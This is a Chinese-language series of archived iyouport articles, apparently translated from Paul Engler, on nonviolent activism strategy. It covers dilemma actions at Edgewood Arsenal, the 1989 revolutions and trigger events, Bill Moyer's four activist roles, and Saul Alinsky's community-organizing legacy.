【注：上述就是我们目前正在进行的另一个系列《信息行动主义》想要讲述的关键技巧。这里的链接是目前最新一集的内容，其中包含过往内容列表。记得那条原则吗？《不手淫，要做爱：受众才是见证人》，您的行动不只是您和队友的行动，您的成败取决于您对现实状态的撼动力，需要让您的受众真正认识到您的倡导的重要性，这就是信息行动主义，它需要丰富的技巧。】

放慢速度，打造更大的悬念

「图」

随着60年代的推移，支持帝国的自由派们开始将越南战争描述为一个“悲剧性的错误”，暗示越南的大规模杀伤性武器是独一无二的。当时，AQAG的主要组织者拉里·斯科特建议人们通过揭露美国在生物战方面的巨额投资来对抗这些自由派意见领袖，这些可怕的武器旨在进行大规模杀伤。

例如，几乎没有人知道，位于马里兰州北部的埃奇伍德军火库实际上是在储存炭疽病毒。

- 关于炭疽病毒发明者如何被谋杀的纪录片，这个故事直到去年才引起轰动《真的有脑控这种事吗：一项尘封的恐怖实验和暗杀的真相》

1970年，AQAG发起了一次从华盛顿特区国会大厦台阶到埃奇伍德的

徒步抗议活动，全程大约60英里。行动者们携带着松树幼苗，它们是美国反殖民斗争的象征，也是生命和生态理性的象征。

为了增加不确定性，行动者们表示将尝试在兵工厂的地盘上种下这些树，以生命面对死亡，揭露隐秘的现实。

行动主义的鼓声从国会大厦的台阶开始，然后每天都在增加，行动者们在多个地点停下脚步，向人们解释他们在做什么和为什么。

媒体问兵工厂的指挥官：兵工厂会允许松树种在那里吗？这是一个典型的两难行动，因为如果指挥官允许种树那就是混账，如果不允许种树，也是混账。

【注：让你的对手陷入抉择困境，是一种很有效的反抗策略】

参与这场行走抗议的人数随着行动宣传而增长。行动者们不急不躁。媒体上的讨论越来越多：Edgewood 到底发生了什么？

最后，步行者们来到了指挥官的身边，指挥官拒绝抗议者在那里种树。但抗议者们继续尝试种树，逮捕行动一天接一天发生。到一个星期结束时，有29名运动者甚至包括几棵松树都被逮捕了。

最后，指挥官无法忍受越来越热的天气，对媒体说："我们会接受这棵树的。"

这时，《巴尔的摩晚报》发表社论说："奇妙的是，埃奇伍德花了一周时间与和平游行者对峙，29人被捕，无休止的羞辱照片，哈士奇[警犬]一直瞪着这些树苗随时准备进攻，之后问题的关键才凸显出来。重点是，这些树苗在栽种之前就被警犬舔了。在符号语言中，当这棵树在诉说生命的时候，爱德伍德能回敬的只有死亡，无论它如何娇滴滴地挑剔它的措辞。"

现在，许多活动家都明白，在培养一场运动中，清晰的信息传递和不寻常的、丰富多彩的战术是一个加分项。第三个因素同样为行动的力量增添了更多的东西，即：结果的不确定性。如果我们只是简单地冲上街头进行交通封锁，每个人都知道会发生什么，媒体报道的重点是反抗者能有多大的破坏力，而不是反抗者传递的信息。如果能有足够的创意，我们就可以设计一些更有效的行动，通过向我们的对手呈现一个两难的局面来建立戏剧性，并随着时间的推移保持对结果的悬念。〇

—— 未完待续 ——

原文

从柏林墙到今天 — 利用旋风时刻的经验教训：行动主义（8） - iyouport

行动主义

【2021年5月19日存档】并没有什么 “阈值” 存在，如果你不去创造，就什么都不会有

【按】IYP多次讲述 “知识分子应该像活动家那样思考”，这意味着在推动变革的同一方向上合力。但一些传统的政治分析思考方式的确在阻碍这种合力，它导致政治分析家们难以看清真正的机会，甚至将大众引入错误的方向。

就如曾经在中国流传多年的 “阈值” 论，它认为当 “外部压力” 达到一定阈值时，忍无可忍的社会就会自动爆发。听起来似乎很有物理层面的合理性，但是，这些年来人们已经清楚地看到，大抓捕没有激发社会反抗、大规模监视也没有，不断深化的不平等没有带来 “阈值”、甚至严重的空气污染和摧毁加密的恶法都没有做到 …… 就如几十年前的大饥荒没有激发变革那样，它们只是不断提升了大众忍耐的能力。

阈值论的另一方面就是，它导致了这些政治分析家们不断寻求外部压力的信号，从国内经济到国际关系，从而忽略了真正重要的东西。

并不是说经济状况恶化和地缘政治动态毫无用处，而是说，仅仅关心这些外部因素，毫无用处；如果您想要的是良性的变革，您就必需拥有另一件武器，并与之结合。

这里是第8集，主要讲述这一道理。本文的作者 Paul Engler 是洛杉矶著名活动家，工运组织负责人，也是《This Is An Uprising》这本书的合著者。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道

路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》

1989年11月9日，大批的东德人涌向柏林墙。躁动不安的公民们是在回应当局的公告，公告中暗示政府将放宽旅行限制。事实上，那些负责人只打算对签证要求进行有限的修改。但这些意图就很快变得无关紧要了。

大量的人涌向隔离墙，使边防军不堪重负。很快，与来自西方的盟友一起，人群开始彻底拆除这道令人痛恨的屏障。

值得注意的是，尽管柏林墙的倒塌是一个标志性的时刻，但它只是席卷苏联集团的一系列活动中的亮点之一—— 这一系列起义后来被称为**1989**革命。

每隔一段时间，我们就会目睹一段似乎违背公认政治规则的大规模反叛。抗议似乎随处出现。 组织者看到他们的集会上挤满了新的面孔，这些人来自他们固定的支持者网络之外。主流分析家们感到惊讶，绞尽脑汁，不知所措。而当权者则随着周围政治格局的急剧变化而奋力争夺 —— 有时会让曾经根深蒂固的领导人陷入危险境地。

如果说现代历史上有哪一个时期能体现出这样一个公众活动的高峰，那就是1989年下半年。

虽然11月9日在柏林墙下的人群似乎以即兴的方式聚集在一起，但他们的集会并不完全是自发的。这是在几个月来不断增加的示威活动和对该国共产党不断升级的压力之后发生的。

整个秋天，莱比锡每周都会举行集会，呼吁旅行自由和民主选举。该市的示威活动一开始只有几百名抗议者，但随着时间成倍增长，到11月初，示威活动已经吸引了多达50万人。蔓延到了很多其他城市。群众抗议活动开始在德累斯顿、东柏林和其他地方爆发.

东德的示威活动并不仅仅是相互滋养，它们还从已经成为区域广布的反抗中汲取能量。那年春天的早些时候，匈牙利历史性的游行树立了一个榜样，说明民众的压力如何能推动与改革派政府的谈判。那年夏天，在波兰，以工会为基础的反对党“团结党”—— 在前一年领导了一系列重大的罢工行动—— 在该国新近自由化的选举中取得了惊人的决定性胜利。到了秋天，反抗运动全面爆发。在东德11月9日叛乱后几乎不到一周，布拉格的学生们就进行了“天鹅绒革命”的第一次示威。到月底，社会运动号召了总罢工，迫使捷克斯洛伐克结束一党统治。

现在回过头来看，我们能从这些不同寻常的动员中学到什么？

传统的政治分析家认为，1989年的革命是一次自发的、千载难逢的民众不满情绪的膨胀。他们对东欧起义浪潮的描述反映了他们几乎在政治舞台上每次爆发群众动员时都会做出的那种断言。这些分析家告诉人们，这些活动的高峰时刻是“罕见的，不可预测的”；他们认为，群众抗议是广泛的历史力量的产物。而且他们还认为，“没有人能够有意识地设计出引发这种动荡的事件”。

对于上述每一点，被称为“公民抵抗”的政治传统都提出了相反的解释。倾听者将从25年前的那场重大骚动中得到截然不同的教训。

公民抵抗 —— 对非暴力冲突的研究和实践 —— 是一个传统，从甘地的运动、美国民权运动、吉恩·夏普等学者的作品，以及“阿拉伯之春”等当代反抗运动中，都可以追溯到它的血脉。

📌 沉浸于研究非武装起义如何运作的传统分析家们提出了几个挑战1989年传统智慧的命题：他们认为，第一，非凡的动员并不像看起来那么罕见；第二，围绕着它们组织起来是一门艺术；第三，愿意接受非暴力升级战略的活动家往往能够引发他们自己的历史性剧变。

大小起义

「图」

在柏林墙拆除之前，认为铁幕将主要不是通过政变和军事演习，而是通过动员群众、手无寸铁的抵抗而倒塌的想法，充其量是不可能的，而且很容易被认为是骗人的。但是，近几十年来，令人瞩目的是，成功的民间抵抗的新例子频频出现。从菲律宾，到智利，到南非，到塞尔维亚，到突尼斯和埃及，再到其他地方，民间抵抗的剧目迎来了显著的变化。

当然，1989年的革命在广度和影响上是特殊的。然而，从另一个角度来看，群众起义是我们政治生活中比我们通常所承认的更频繁发生的一部分。一旦你寻找它们，民众动员就会开始不断出现 —— 在不同的国家不经意间出现，吸引新的参与者加入，颠覆了政治的常态。2011年的 “阿拉伯之春” 就是一个明显的例子，它唤起了人们对东欧的回忆。但是，重大的变革不一定必需如此广泛和国际化才有意义；它们也不必需发生在不民主的环境中。

就在美国，就在过去15年里，我们已经看到反抗事件以令人震惊的频率出现，在从国家到地方的广泛层面上引起人们的注意。

在全国范围内，世纪之交在西雅图和华盛顿特区发生了具有里程碑意义的反对世界贸易组织和国际货币基金组织的抗议活动，随后2003年在纽约和旧金山又发生了大规模反战动员。在2006年实现的历史性移民游行之后，2011年又出现了 “占领” 运动的大规模集结。威斯康星州的起义、奥克兰和弗格森市针对警察暴行的全城抗议、BLM等，还有校园生活工资静坐示威等州级动员，虽然规模不大，但都在激发公众辩论方面产生了巨大的影响。在密集的事件中，每一次都吸引了不同寻常的参与者，以神秘而陌生的方式激活了人们，这对传统政治来说是非常重要的。

主流评论家们一次又一次地对这种大大小小的动员感到惊讶，这更多地说明了他们自己的偏见，而不是说明社会变革是如何发生的。

然而这些评论家的偏见并不是唯一的。渐进主义的倾向甚至延伸到了社会运动界。由索尔·阿林斯基 (Saul Alinsky) 开创的社区组织学派传统上对群众动员持怀疑态度，沿袭组织者指责爆发的抗议是昙花一现、太不可预测和不可持续 。他们强调，他们的目标是建立 “组织” ，而不是 “运动” 本身；他们试图建立能够持续利用草根力量的机构。

有趣的是，阿林斯基本人比他的许多意识形态后裔更开放，对高峰时刻的非凡潜力持开放态度。看到民权活动的冲动，1961年自由乘车运动后，在种族隔离的南方，阿林斯基和他的徒弟尼古拉斯·冯·霍夫曼称其为 “旋风时刻” 。两人一致认为，需要暂时搁置他们传统的组织方法，以利用非凡的起义的能量。

【注：索尔·戴维·阿林斯基美国社区组织家和作家，通常被认为是现代居民组织的创始人。以著作《激进者守则》闻名于世。 阿林斯基从事社区组织四十余年，毁誉参半。他专注于改善美国各地贫困社区的生活条件。

自由乘车者是指美国的民权活动家们从1961年开始的乘坐跨州巴士前往种族隔离现象严重的美国南部，以检验美国最高法院针对波因顿诉弗吉尼亚案和 艾琳·摩尔根诉弗吉尼亚州案判决的落实情况。 最高法院在波因顿案中做出了判决，允许跨州旅行者无视当地的种族隔离政策。 】

寻常的政治

「图」

与传统的政治家、甚至与许多组织者不同，莫罕达斯·甘地和马丁·路德·金仔细研究了创造旋风时刻的动态。他们是寻常政治的专家。通过使用非暴力冲突，他们试图在政治制度的正常运作中产生断裂，从而将以前被忽视的不公正现象推向公众意识的前沿。正是由于他们在这方面的天赋，才使他们在历史上占据了一席之地。

金在1963年从伯明翰市监狱发出的著名信件中解释说，直接行动的目的 “是制造一种危机四伏的局面，从而不可避免地打开与其他顽固不化的对手进行谈判的大门” 。在他职业生涯的早期，金曾不情愿地被投入到其他活动家和组织制造的危机中；但到了伯明翰运动的时候，他已经对如何制造非暴力冲突有了精明的理解，这种冲突可以激起全国性的愤慨，并打动那些拖后腿的政客。

在他1968年的书中《Where Do We Go From Here: Chaos or Community?》他把使用激进的直接行动的民权组织描述为 “搅动和制造戏剧性项目的专家” ，创造 “爆炸性事件” ，”吸引大量的同情和支持” 。他自我批评地指出，这些事件不能替代建立能够长期维持斗争的体制结构。不过，他在伯明翰和塞尔玛等地帮助制造的起义，还是像其他一些努力一样震撼了美国公众，成为推动民权的决定性高峰。

几十年前，甘地同样阐述了如何利用非暴力冲突有意识地挑起社会危机。他在1932年写道：“那些必然想要推动人类的条件和环境发生根本性变化的人，除非在社会上引起发酵，否则无法做到这一点。”

关于甘地方法的最早研究之一，Krishnalal Shridharani 在1939年发表的《没有暴力的战争》一文阐述了这一主题。它指出，非武装起义与战争的共同点往往多于常规的利益集团政治。“在 …… 暴力和非暴力的基础上”，Shridharani 写道，”是这样一个基本假设，即 某些激进的社会变革，除非通过能够沉淀情感风暴的群众行动，否则无法获得成功，人类生活中平淡无奇的日常需要被动摇，以便人类能够得出

决定性的决策。”

1930年，当与英国王室进行决定性对抗的时候，印度国民大会委托甘地作为唯一的战略家，负责精心策划其直接行动挑战。国大党成员之所以这样做，并不是因为他们是甘地的精神门徒 —— 事实上，许多人并不相信甘地对救赎苦难的另类信仰—— 而是由于甘地因能够制造历史性的颠覆从而获得了来之不易的声誉。在这种情况下，其结果是著名的1930年的“食盐游行”，这是争取印度自决的标志性事件之一。

未定的未来

「图」

当社会运动能够挑起政治危机，促使发生剧烈变化时，他们的努力并不总是能得到很多赞誉。

从**1989**年的革命来看，一些政治学家几乎没有讨论过民众运动。相反，他们关注的是经济和地缘政治的发展。他们强调了与西方的竞争和东欧集团长期的经济危机是如何造成的持续压力，从而调动了大规模反抗。他们强调了米哈伊尔·戈尔巴乔夫发出的信号，即 苏联将容忍改革，而不是复制中国在天安门的镇压。这些立场是一个更广泛趋势的一部分。政治分析家通常将大规模起义的时间和命运描述为历史条件的产物，而不是公民自己的决定。

📌 民间抵抗领域的分析家不否认经济和政治背景的重要性，但是，他们强调这种条件与社会运动参与者的技能 —— 活动家的智慧和按照自己的意愿行事的能力 —— 的相互作用，这体现在行动者的战略选择和实地执行中。

历史学家可以在起义发生后回顾过去，找出促成起义成功的结构性力量和历史特点，或者找出导致起义失败的原因。相比之下，在当地的活动家永远没有事后诸葛亮的好处，他们必须充分利用他们所遇到的任何条件。正如非暴力冲突分析家和培训师 Hardy Merriman 所写到的那样，“智慧、行动力和技能可以发挥更大的作用，在某些情况下，使这些运动能够克服、规避或改变不利条件”。

必须指出的是，后来将1989年的重大转变归功于历史条件的专家，绝大多数都没有预见到当时就存在的潜力。1987年，一位前美国驻捷克斯洛伐克大使在为著名保守派杂志《外交事务》撰文时认为，尽管戈尔巴乔夫有开放的迹象，但“[华约]国家和苏联之间的关系没有发生

根本变化的前景”。面对这种令人沮丧的预言，活动家们需要大胆而巧妙地跃跃欲试，挑战统治他们的根深蒂固的压制性政权。

从引爆到爆炸

「图」

📌 归根结底，单靠行动者的自身技能或者单靠外部条件都是不够的。在任何时候，历史上都可能会出现一个“触发事件”，引发广泛的愤怒，并使人们走上街头。但是，需要社会运动的坚决升级，才能使问题始终处于聚光灯下，迫使人们做出更大的参与和牺牲，并反复强化公众的紧迫感。

回顾1989年的革命，我们可以得出的最后一个教训是，当一股旋风真正开始搅动时，它并不是一个事件的结果；相反，它是多重的、复合的危机的产物—— 其中许多危机是刻意努力的结果。

美国非暴力直接行动传统的理论家、长期从事社会运动培训的比尔·莫耶在他的《Doing Democracy》一书中描述了“触发事件”的概念。触发事件是指“高度公开的、令人震惊的事件”，“以生动的方式向公众戏剧性地揭示了一个关键的社会问题”。莫耶认为，这些事件是每一个社会运动周期的重要组成部分。它们创造了重要的窗口，在这个窗口中，活动家可以召集群众参与，并急剧增加公众对某一事业的支持。

触发事件的突出例子包括1979年的三里岛核电站事故，它使核安全突然成为一个热点问题。就在事故发生的几天后，之前计划在旧金山举行的反核集会，通常可能会吸引数百人参加，但那次却吸引了25000人。同样，1955年，罗莎·帕克斯因拒绝坐到种族隔离巴士的后面而被捕，在阿拉巴马州蒙哥马利市引起了全社区的抵制。突尼斯水果商 Muhammad Bouazizi 的自焚事件引发了2011年“阿拉伯之春”的起义。

然而，触发事件只是一个开始；它们不能保证出现真正的改变。例如，石油泄漏和校园枪击事件不计其数，这些事件引发了愤怒，但是，最终对政治生活影响甚微。同样，还有很多其他的自焚事件，也没有像布 Bouazizi 那样的效果。

📌 事实上，那些确实演变成爆炸性反抗的导火索，往往不像最初出现时人们所认为的那样偶然。

📌 只有当各团体愿意抓住机会并升级运动时，民间反抗才会奏效 —— 凝聚群众参与和个人牺牲的力量，以产生更加雄心勃勃的反抗行动。

在罗莎·帕克斯之前也曾有过在 “吉姆克劳法” 公共汽车上发生的逮捕事件，但是，民权团体有意识地选择将帕克斯的逮捕变成抵抗种族隔离的试验案例，部分原因是她本身就是一个坚定的活动家。在其他情况下，从食盐大游行，到伯明翰，再到 “占领” 运动，反抗运动 *创造了* 自己的触发事件，利用破坏性行动成为头条新闻，促使当局做出反应，并开始一个循环，让新的参与者加入到更大的行动中。

1989年11月17日，柏林墙倒塌一周后，布拉格的学生们举行游行，纪念一位在纳粹占领捷克斯洛伐克期间被杀害的大学活动家的周年纪念日。社会学家莱斯特·库尔茨和李·史密斯描述了当学生们遇到镇压部队时，他们如何向警察献上鲜花，并在空中挥舞着自己的手。但警察还是发动了攻击，不分青红皂白地用警棍击欧打学生。

“这就是点燃捷克斯洛伐克的火种”，一位作家后来说。

当然，学生们是在对周围各国日益高涨的反抗情绪作出反应。但正是他们决定冒着被暴力镇压的威胁 —— 明知危险，但不知道后果 —— 发起了天鹅绒革命。而正是无数人决定加入这场抗议，才使革命产生了真正的力量。

今天，关于1989年的旋风式起义，没有什么事情比这一选择更值得铭记：在不确定的结果面前奋起反抗，冒着升级的危险，去创造点燃运动的可能性。〇

—— 未完待续 ——

原文

您天生适合在社会变革中扮演什么角色？：行动主义（9） - iyouport

行动主义

【2021年5月21日存档】成功的社会运动肯定必需包括所有四个角色。单纯的异议不包含在内

【按】记得当年我们刚刚接触中国异议人士的时候，最经常听到的一句话就是“兄弟爬山”。有中国朋友为我们解释说，这句话的意思是“各自努力，互不相干”。

我观察了一下，这句话被使用最多的地方是一些自认为很“激进”的异议人士对所谓的改革派异议人士的抨击。

我们觉得这不是这句话正确的用法。

这里面的主语应该是“兄弟”，意味着志同道合的自己人，他们有一个共同的目标，一起在为这个目标努力 —— 从各自最擅长的方面入手。

📌 行动主义者没有分裂的本钱，您的对手越是强大，就越是如此。以推动变革为目标的每一种方法都有可能起效，但是，并没有哪一种方法可以单独完成一切；“各自努力”的最终方向应该是合力，而不是“井水河水”。

把精力从互相批判和竞争中转移出来，放在刀刃上。这是紧迫的。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》

- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》
- 《从柏林墙到今天 — 利用旋风时刻的经验教训：行动主义（8）》

比尔·莫耶是一个来自费城的街头行动者、工人阶级的白人男性活动家，在20世纪60年代的动荡中，他去芝加哥为一个反种族主义的住房运动工作。他最终加入了马丁·路德·金的全国工作组，成为了一名组织者。到2002年去世时，莫耶已经在多个政治问题上发挥了重要的领导作用，包括全国反核运动。

在加州，莫耶上了研究生院，研究社会运动理论，并沉迷于他对分析性思维的热爱。他最著名的理论是确定了成功的社会运动的八个阶段，他将其命名为“运动行动计划”，即MAP。包括在台湾的活动家都在使用**MAP**，全世界都有莫耶的书的翻译版。

莫耶还发明了一个强大的工具，它阐明了反抗者可以如何在两个层面上为改变而努力：个人和组织。他称之为“社会行动主义的四种角色”，而现在这个工具正帮助费城地区的环保组织澄清他们与新的运动的关系。该工具还赋予个人权力，使其更加有效。

本文将描述这四个角色，这样您就可以注意到它们对您个人的共鸣，也可以借以衡量您的团体。

本文对四个角色中的三个角色的名称进行了调整，使其区别更加鲜明；即：倡导者、帮助者、组织者和反叛者。Bill Moyer

1、倡导者的作用

「图」

倡导者专注于与莫耶所说的“权力拥有者”沟通，他们可以改变一项政策或做法。想象一下人权律师起诉某城市强行收集人们的生物识别数据的做法，或者游说团体敦促市议会改变某项政策，类似的行动都是。莫耶将这种角色称为“改革者”，但同时也承认：倡导者也可能会敦促一些激进的改变。

中国读者可以将此理解为张雪忠教授的角色，但是请注意，张教授并没有在行动组织中扮演这一角色，他的角色是独立的；换句话说，张教授的行动没能形成有效协作。

没有与其他3个角色形成有效协作的“倡导”，将很难获得成功，尤其是在专制政权持续时间相当长大的国家里。

如果您在组织一场研讨会，您可以邀请人们回想一下他们是否曾经向权威机构求助，以纠正他们认为的不公正或问题。也许他们小时候下课后曾经去找老师报告操场上的欺凌行为，或者告诉家长谁在学校里欺负弱势的同学。也就是说，人们是否习惯于看到不公正就表达出来，并知道应该在哪里表达 —— 有希望解决问题的地方。

您会发现，很多喜欢在社会运动中扮演倡导者角色的成年人在幼年时期就表达了这种偏好，往往会培养出一些技巧和信心。

2、帮助者的作用

「图」

帮助者被吸引到直接行动中来 —— 亲自做他们能做的事来纠正这种恶劣的现状。

他们通过教授如何撰写简历或发起工作培训，解决工作中的性别和种族歧视问题；他们通过对房屋进行风化处理或成立太阳能安装合作社来解决碳污染问题；他们集资租用房车帮助无家可归者找到住处；他们通过培训敏感人士绕避监控审查，为人们在反乌托邦的世界里开辟自己的私密空间；他们通过组织社区志愿者为独居老人买菜做饭，缓解老人的困苦 ……

由于主流社区生活的大部分内容都以服务为标志，莫耶对这种角色的称呼是“公民”。

当以扮演助人为乐角色著称的成年人回顾自己的童年时，他们有时会记得自己出面制止欺凌者的行为，或者当小弟弟从自行车上摔下来时，他们第一个拿来创可贴。

3、组织者的作用

「图」

虽然想做出更大改变的倡导者和直接行动的帮助者自己就需要组织起来—— 例如通过成立一个非营利组织 —— 但组织的部分并不是他们最满意的。倡导者最开心的是能够说服法官平等婚姻是符合宪法的；帮助者更喜欢见证毕业班里有更多的黑人同学、或者敏感人士因言获罪的判决书数量明显下降（由于更多人采取了有效的保护性技术，当权者难以追踪到真实身份）。

而另一方面，组织者则从收集可能彼此不认识的人、并将他们变成一个运转良好的团队方面，或者在将工会地方例会的出席率提高三倍方面，体验到直接的快乐。组织者常常相信，单纯的数字力量就能让人改变，因为权力拥有者害怕其他的权力来源，可能会让步一些，以阻挡进一步的发展。

当组织者还是孩子的时候，他们可能是在学校里组织行动的人、或者是鼓舞士气的人。莫耶称他们为“变革者”，而他自己也确实是这样的人。

4、反叛者的作用

「图」

看到问题或不公正的反叛者更喜欢制造某种骚动，迫使当权者做出改变。

马丁·路德·金解释说，一场运动必须先制造危机；甘地制造了很多麻烦，以至于他使印度无法被英国人治理。诚然，一些著名的反叛者需要组织能力，才能把他们的行动主义规模扩大到危机点。

📌 但是，反叛者看重的不是人数，而是要确定“需要多少人才能制造什么程度的危机”。就如 Alice Paul 离开了争取妇女普选权的群众运动，以便领导一小队愿意进行非暴力直接行动的反叛者，迫使美国总统伍德罗·威尔逊屈服于正义。

我们来举个例子。下面这张图片来自2月由中国组织发起的倡导：

抵制集中化的电商垄断、帮助本土经济和底层小商人，这是个非常好的想法 —— 它本身是一个倡导，也就是上述角色1；但是，单独的倡导很难成功，因为它缺少了另外3个角色，而无法形成一场运动。

如果您真的希望实现这份倡导的目标，即 反垄断、利益分散化，那么就需要有另外3个角色的配合 ——“帮助者” 帮助本地小店主设计吸引

人们的方法，尤其是摆脱巨头电商对价格的操纵和对进货渠道的垄断；“组织者” 帮助组织日用品购物配送，比如给老龄社区、双职工家庭等，包括组织小商家学习经营战略；而 “反叛者” 负责在垄断经济中捣乱，让它们难以为继。

这4个角色缺一不可。您必需能提供更好的、更公平和不失便利的商业模式以取代现有的模式，否则单纯依靠呼吁 “爱心” 是很难成功的。同样，反叛者主要负责捣乱，但如果没有一个可靠的和更好的变革前景，反叛将无法获得支持，人们不会跟上你。

角色可以是积极的，也可以是消极的

「图」

📌 虽然一些活动家认为其中的一个或多个角色 “不酷”—— 比如称其为 “非营利-工业综合体” 或 “卖国游说者” 或 “幼稚的抗议者”，就如中国社会声称的 “改良派”—— 但莫耶记录得很清楚：成功的社会运动肯定必需包括所有四个角色。

📌 但莫耶承认，这些角色中的任何一个都可以协助或破坏一场运动，这取决于人们如何扮演这个角色。

例如，倡导者可以 —— 通过与权力拥有者的沟通 —— 找到框定要求的方法，使运动更有可能向前迈出一大步；而另一方面，他们也可能会被权力拥有者所利用，破坏运动的明确性，从而使直接行动的活动家组织屈服。

反叛者可以制造戏剧性的事件，促使犹豫不决的人更认真地对待这个问题，并站在这场运动的一边；但是，他们也有可能选择自我边缘化的错误策略，使犹豫不决的人把他们的支持被权力拥有者盗取。

帮助者可以给那些感到无助的人直接提供技能，协助他们认识到只有通过与他人的联合才能得到自己真正想要的东西；但是，帮助者也可能采用一种错误的信念，认为社会的改变是通过个人逐一提升自己的生活来实现的，这就误导了他们所帮助的人，让真正的变革流产。

莫耶在他的《Doing Democracy》一书中，描述了每个角色可以发挥的一些积极和消极作用的方式。不要害怕，他的分析可以有助于您的学习曲线，您完全可以有意识地避免错误的结果发生。

想想看，您是如何发挥自己在行动中的作用的？

「图」

Lakey 做了很多志愿服务，创办和领导新的组织，游说当选官员。不过，在他的内心深处，他一直都是一个反叛者。为了避免倦怠，他就需要记住这一点。📌 当他接触到反叛的自己、并找到一个可以接受的团体时，才是最健康、最有创造力和最有成效的。

📌 掌控自我意识对组织也很有帮助。只有当人们能明确自己的使命时，他们才能做得最好，即使这意味着对很多其他好的想法说 “不”，这些想法是被提供的，但并不真正与行动者的角色的本质相一致。

环保组织 “地球贵格会行动小组” 表明自己在更大的环境、经济和种族正义的斗争中扮演着反叛的角色。在该组织的新运动 “Power Local Green Jobs” 中，与该组织交谈的其他团体期望该组织会与他们一起倡导、组建、或做工作培训。分工协作的优势非常大，就如行动者们常说的那样：“做你最擅长的事，我们会支持你，而我们继续做我们最擅长的事。”

一个拥护自己在运动中的特殊角色的团体，其成员内部也可以有多样化的角色。在EQAT内部，有一些人作为个人的组织者、帮助者和倡导者而大放异彩，对团体的内部生活有相当大的贡献。在任何一个团体中，只要他们支持明确的总体任务，就会有所有人的空间。

当然，一个包含多种角色身份的成员也会经历自身的冲突，其实这是件好事 —— 尤其是在必须做出艰难选择的时候。一个组织者可能会认为反叛的战术建议为时过早，因为这个团体还没有资源来处理后果；一位帮助者可能会说，在公用事业公司让步并资助广泛的屋顶项目之前，需要有更多的太阳能安装培训，否则当工人开始排队找工作时，穷人和社会边缘人士就会被忽视；而倡导者可能会注意到，对手是第一次认真考虑需求，并认为现在是采取激进行动的 “错误时机” …… 这类冲突非常常见。

📌 面临战略性艰难抉择的人，当四种角色进行斗争时，更有可能想出创造性的和明智的下一步行动 —— 在承认差异的同时公平地进行斗争。研究结果很清楚：随着时间的推移，多元化实际上确实能产生最好的结果。或者说，至少当大家在底线上达成一致的时候，多元化是最有效的，底线就是：*群体* 在大的行动主义中所扮演的角色 —— 你们的共同目标。

地球贵格会行动小组的这一例证可以在不同角色的组织中重复使用：比如说，倡导、帮助或组织。成员的多样性和目标的统一性相结合是

一个成功的组合。

比尔·莫耶的 “四个角色” 是关于行动主义有效性的。他的愿景不是一个组织试图做很多事而冒着分散的风险，而是，团体的扩散 —— 每个团体都通过集中精力来最大化力量，同时建立网络并支持更广泛的团结意识。这就是一个强大的运动的样子。〇

—— 未完待续 ——

原文

炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗 - iyouport

行动主义

【2021年5月28日存档】索尔·阿林斯基基于社区组织者，就如同马丁路德金基于非暴力行动主义者那样，是圣经一般的存在；然而，阿林斯基的继承人们经常误解了他们所信仰的理论 ……

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》
- 《从柏林墙到今天—利用旋风时刻的经验教训：行动主义（8）》
- 《您天生适合在社会变革中扮演什么角色？：行动主义（9）》

虽然索尔·阿林斯基（Saul David Alinsky）这位现代社区组织在美国的创始人于1972年去世，他仍然被美国右翼援引为迫在眉睫的叛乱的“危险人物”。虽然他的里程碑式的书籍《激进者守则》现在已有近50年的历史了，但阿林斯基的理论中体现的原则已经影响了此后的每一

代社区组织者。

最持久的阿林斯基的处方并不是他著名的战术准则 —— “嘲笑是人类最有力的武器” 或 “权力不是你拥有的，而是敌人认为你拥有的”；相反，它们蕴含在一套组织实践和倾向性中，是在地方社区层面建立权力的确定方法。参与过社会运动的人都很容易接触到一些社区组织的法则，比如：“不谈意识形态，只谈问题；不谈选举政治；建立组织，而不是运动 **……** 专注于社区，关注具体的、可赢的目标。”

资深劳工作家 David Moberg 在反思 “全国人民行动”（NPA）的工作时，提出了一个列表，NPA是当今社区团体的主要联盟之一。鉴于NPA充满活力的负责人 George Goehl 曾受训于 Shel Trapp —— 这是一位著名的阿林斯基弟子—— 传统的社区组织原则仍然体现在NPA在14个州的分支机构自下而上、挨家挨户交流的方法论中，这并不奇怪。

同时，在 Goehl 的领导下，“全国人民行动” 组织也在做许多不同的事。他的联盟现在接受了一种大局观（谈论企业的合作所有权和财政的公共控制），并且它正在向选举政治进军（组建游说部门，进行立法倡导，甚至可能作为候选人参与竞选）。在超越阿林斯基的传统规则时，**Goehl** 的动机不仅是要在现有的政治体制内赢得具体的改革，而且，要发展出 “愿景、战略和所需的全部政治武器库，以推翻数十年来企业保守派的胜利，并创造一个更民主的经济体制和政府”。

Goehl 的雄心并非独一无二。其他经历过占领运动的社区组织者对该运动所创造的巨大变革动力都会印象深刻 —— 即使它的大部分力量被证明是短暂的。“99%之春” 和 “占领我们的家园” 等活动，是社区团体将其传统组织模式与其他地方绽放的社会运动能量相结合的步骤。

